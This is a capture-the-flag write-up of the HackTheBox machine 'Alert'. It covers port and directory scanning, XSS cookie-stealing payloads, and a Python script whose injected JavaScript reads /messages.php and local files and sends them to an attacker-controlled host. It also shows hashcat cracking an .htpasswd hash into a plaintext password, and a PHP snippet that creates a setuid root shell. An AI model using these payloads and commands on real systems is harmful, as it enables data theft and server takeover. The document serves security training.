Alert

Recon

nmap_scan.log
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Making sure 'closed' isn't just a state of mind.

[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.230.120:22
Open 10.129.230.120:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -vvv -sV -sC -Pn" on ip 10.129.230.120
Depending on the complexity of the script, results may take some time to appear.
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2024-11-23 19:05 UTC
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:05
Completed NSE at 19:05, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:05
Completed NSE at 19:05, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:05
Completed NSE at 19:05, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 19:05
Completed Parallel DNS resolution of 1 host. at 19:05, 0.05s elapsed
DNS resolution of 1 IPs took 0.05s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 19:05
Scanning 10.129.230.120 [2 ports]
Discovered open port 80/tcp on 10.129.230.120
Discovered open port 22/tcp on 10.129.230.120
Completed Connect Scan at 19:05, 0.07s elapsed (2 total ports)
Initiating Service scan at 19:05
Scanning 2 services on 10.129.230.120
Completed Service scan at 19:05, 6.19s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.230.120.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:05
Completed NSE at 19:05, 2.34s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:05
Completed NSE at 19:05, 0.31s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:05
Completed NSE at 19:05, 0.00s elapsed
Nmap scan report for 10.129.230.120
Host is up, received user-set (0.071s latency).
Scanned at 2024-11-23 19:05:25 UTC for 10s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSrBVJEKTgtUohrzoK9i67CgzqLAxnhEsPmW8hS5CFFGYikUduAcNkKsmmgQI09Q+6pa+7YHsnxcerBnW0taI//IYB5TI/LSE3yUxyk/ROkKLXPNiNGUhC6QiCj3ZTvThyHrFD9ZTxWfZKEQTcOiPs15+HRPCZepPouRtREGwmJcvDal1ix8p/2/C8X57ekouEEpIk1wzDTG5AM2/D08gXXe0TP+KYEaZEzAKM/mQUAqNTxfjc9x5rlfPYW+50kTDwtyKta57tBkkRCnnns0YRnPNtt0AH374ZkYLcqpzxwN8iTNXaeVT/dGfF4mA1uW89hSMarmiRgRh20Y1KIaInHjv9YcvSlbWz+2sz3ev725d4IExQTvDR4sfUAdysIX/q1iNpleyRgM4cvDMjxD6lEKpvQYSWVlRoJwbUUnJqnmZXboRwzRl+V3XCUaABJrA/1K1gvJfsPcU5LX303CV6LDwvLJIcgXlEbtjhkcxz7b7CS78BEW9hPifCUDGKfUs=
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHYLF+puo27gFRX69GBeZJqCeHN3ps2BScsUhKoDV66yEPMOo/Sn588F/wqBnJxsPB3KSFH+kbYW2M6erFI3U5k=
|   256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG/QUl3gapBOWCGEHplsOKe2NlWjlrb5vTTLjg6gMuGl
80/tcp open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:05
Completed NSE at 19:05, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:05
Completed NSE at 19:05, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:05
Completed NSE at 19:05, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.32 seconds

HTTP (80)

Writeup.png

Application is built with PHP and the way it's changing pages was odd to me, LFI php:// payloads didn't successed.

Passive recon

└─$ feroxbuster -u 'http://alert.htb/' -w /usr/share/seclists/Discovery/Web-Content/common.txt
by Ben "epi" Risher 🤓                 ver: 2.10.3

403      GET        9l       28w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      271c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET       23l       48w      660c http://alert.htb/index.php => index.php?page=alert
200      GET      182l      385w     3622c http://alert.htb/css/style.css
302      GET       23l       48w      660c http://alert.htb/ => index.php?page=alert
301      GET        9l       28w      304c http://alert.htb/css => http://alert.htb/css/
301      GET        9l       28w      309c http://alert.htb/messages => http://alert.htb/messages/
301      GET        9l       28w      308c http://alert.htb/uploads => http://alert.htb/uploads/
200      GET      182l      385w     3622c http://alert.htb/css/style
[####################] - 26s    18921/18921   0s      found:7       errors:16
[####################] - 21s     4728/4728    228/s   http://alert.htb/
[####################] - 15s     4728/4728    318/s   http://alert.htb/css/
[####################] - 11s     4728/4728    414/s   http://alert.htb/messages/
[####################] - 10s     4728/4728    482/s   http://alert.htb/uploads/ 

└─$ domain='alert.htb'; ffuf -u "http://$domain/" -H "Host: FUZZ.$domain" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -fw 20
       v2.1.0-dev 

statistics              [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 73ms]
:: Progress: [4989/4989] :: Job [1/1] :: 546 req/sec :: Duration: [0:00:13] :: Errors: 0 ::

XSS is possible from Contact Us page

<img src=x onerror=this.src="http://10.10.14.122/?cookie="+document.cookie>
└─$ listen 80
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.129.230.120:43940.
GET /?cookie=&quot;+document.cookie&gt; HTTP/1.1
Host: 10.10.14.122
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate

But no cookies.

<img src=x onerror="" />
<svg onload=this.src=`http://10.10.14.122/?cookie=${document.cookie}`//
![Escape SRC - onerror]("onerror="this.src='http://10.10.14.122/')

Soo... like after trying different payloads I concluded that XSS works, but there are no cookies so what can you even do on client side?? On last step I tried pasting the URL of my machine and I just got callback... Contact Us sends requests to any endpoint if it's like a url... sigh...

On first tests I redirected it to my website with index.html with script tags for JavaScript and it was successful. But bot visited the actual page of my server, not just request. We know that /messages.php exists, but we users have nothing, but what if bot does? This is where markdown thingy comes into play, because we can share the URL and obey the rules of CORS.

from requests import Session
from bs4 import BeautifulSoup as BS

URL = 'http://alert.htb'
JS = '''
<script>
    const endpoint = '/messages.php';
    const C2 = 'http://10.10.14.122';
    fetch(endpoint)
    .then(function(response) { return response.text(); })
    .then(function(html) { fetch(`${C2}/?data=${encodeURIComponent(html)}`) })
    .catch(function(error) { fetch(`${C2}/?err=${encodeURIComponent(error)}`)});
</script>
'''

with Session() as session:
    session.proxies = {'http': 'http://127.0.0.1:8080'}

    payload = {'file': ('letmein.md', JS)}
    resp = session.post(f'{URL}/visualizer.php', files=payload)
    share_link = BS(resp.text, 'html.parser').find('a')['href']
    print(share_link)

    payload = {'email': 'let@me.in', 'message': share_link}
    resp = session.post(f'{URL}/contact.php', data=payload)
	print(resp)
10.129.230.120 - - [23/Nov/2024 15:12:57] "GET /?data=%3Ch1%3EMessages%3C%2Fh1%3E%3Cul%3E%3Cli%3E%3Ca%20href%3D%27messages.php%3Ffile%3D2024-03-10_15-48-34.txt%27%3E2024-03-10_15-48-34.txt%3C%2Fa%3E%3C%2Fli%3E%3C%2Ful%3E%0A HTTP/1.1" 200 -
---
<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>HTTP/1.1" 200 -

The message doesn't exist, but it appears LFI is possible from /messages.php

Writeup-1.png

To make life easier create server that will auto decode the contents.

import http.server, sys
from urllib.parse import parse_qs, unquote, urlparse

class MyHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        for values in parse_qs(urlparse(self.path).query).values():
            for value in values:
                print(unquote(value))
        print('- ' * 30)

    def log_message(self, format, *args):
        ...

if __name__ == '__main__':
    port = 80
    if len(sys.argv) > 1: port = int(sys.argv[1])

    server_address = ('', port)
    httpd = http.server.HTTPServer(server_address, MyHandler)
    print(f"Starting server on port {port}...")
    httpd.serve_forever()

Make previous script interactive LFI:

from requests import Session
from bs4 import BeautifulSoup as BS
import readline

URL = 'http://alert.htb'
JS = '''
<script>
    const endpoint = '/messages.php?file=../../../../../..LFI';
    const C2 = 'http://10.10.14.122';
    fetch(endpoint)
    .then(function(response) { return response.text(); })
    .then(function(html) { fetch(`${C2}/?data=${encodeURIComponent(html)}`) })
    .catch(function(error) { fetch(`${C2}/?err=${encodeURIComponent(error)}`)});
</script>
'''

with Session() as session:
    session.proxies = {'http': 'http://127.0.0.1:8080'}

    while True:
        js = JS.replace('LFI', input('Filename: '))
        payload = {'file': ('letmein.md', js)}
        resp = session.post(f'{URL}/visualizer.php', files=payload)
        share_link = BS(resp.text, 'html.parser').find('a')['href']

        payload = {'email': 'let@me.in', 'message': share_link}
        resp = session.post(f'{URL}/contact.php', data=payload)

After enumerating apache I found site configs in /etc/apache2/sites-available/000-default.conf:

<VirtualHost *:80>
    ServerName alert.htb

    DocumentRoot /var/www/alert.htb

    <Directory /var/www/alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>

    RewriteEngine On
    RewriteCond %{HTTP_HOST} !^alert\.htb$
    RewriteCond %{HTTP_HOST} !^$
    RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
    ServerName statistics.alert.htb

    DocumentRoot /var/www/statistics.alert.htb

    <Directory /var/www/statistics.alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>

    <Directory /var/www/statistics.alert.htb>
        Options Indexes FollowSymLinks MultiViews
        AllowOverride All
        AuthType Basic
        AuthName "Restricted Area"
        AuthUserFile /var/www/statistics.alert.htb/.htpasswd
        Require valid-user
    </Directory>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost> 

/var/www/statistics.alert.htb/.htpasswd is interesting.

albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
➜ .\hashcat.exe --show .\hashes
1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR) | FTP, HTTP, SMTP, LDAP Server

➜ .\hashcat.exe -m 1600 -a 0 .\hashes .\rockyou.txt
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited

Creds: albert:manchesterunited

SSH

User.txt

albert@alert:~$ cat user.txt
8edfee6e2592a6cd0fcc294cc046ed63

Privilege Escalation

albert@alert:/opt/website-monitor$ ls -alh
total 96K
drwxrwxr-x 7 root root       4.0K Oct 12 01:07 .
drwxr-xr-x 4 root root       4.0K Oct 12 00:58 ..
drwxrwxr-x 2 root management 4.0K Oct 12 04:17 config
drwxrwxr-x 8 root root       4.0K Oct 12 00:58 .git
drwxrwxr-x 2 root root       4.0K Oct 12 00:58 incidents
-rwxrwxr-x 1 root root       5.2K Oct 12 01:00 index.php
-rwxrwxr-x 1 root root       1.1K Oct 12 00:58 LICENSE
-rwxrwxr-x 1 root root       1.5K Oct 12 01:00 monitor.php
drwxrwxrwx 2 root root       4.0K Oct 12 01:07 monitors
-rwxrwxr-x 1 root root        104 Oct 12 01:07 monitors.json
-rwxrwxr-x 1 root root        40K Oct 12 00:58 Parsedown.php
-rwxrwxr-x 1 root root       1.7K Oct 12 00:58 README.md
-rwxrwxr-x 1 root root       1.9K Oct 12 00:58 style.css
drwxrwxr-x 2 root root       4.0K Oct 12 00:58 updates
albert@alert:/opt/website-monitor$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)

albert@alert:/opt/website-monitor/config$ cat configuration.php
<?php
define('PATH', '/opt/website-monitor');
?>

App seems to be running on 8080.

albert@alert:/opt/website-monitor$ ss -tunlp4
Netid     State      Recv-Q     Send-Q         Local Address:Port           Peer Address:Port     Process
udp       UNCONN     0          0              127.0.0.53%lo:53                  0.0.0.0:*
udp       UNCONN     0          0                    0.0.0.0:68                  0.0.0.0:*
tcp       LISTEN     0          4096               127.0.0.1:8080                0.0.0.0:*
tcp       LISTEN     0          4096           127.0.0.53%lo:53                  0.0.0.0:*
tcp       LISTEN     0          128                  0.0.0.0:22                  0.0.0.0:*

There's some kind of cronjob running on server that deletes the configuration.php like every second or something, run commands in batch:

echo '<?=`install -m 4777 /bin/bash /tmp/rootbash`?>' > /opt/website-monitor/config/configuration.php
curl '0:8080/config/configuration.php'
/tmp/rootbash -p

Root.txt

rootbash-5.0# cat root.txt
ae0c1b4fc044e7f6b3731a620a083255

Last updated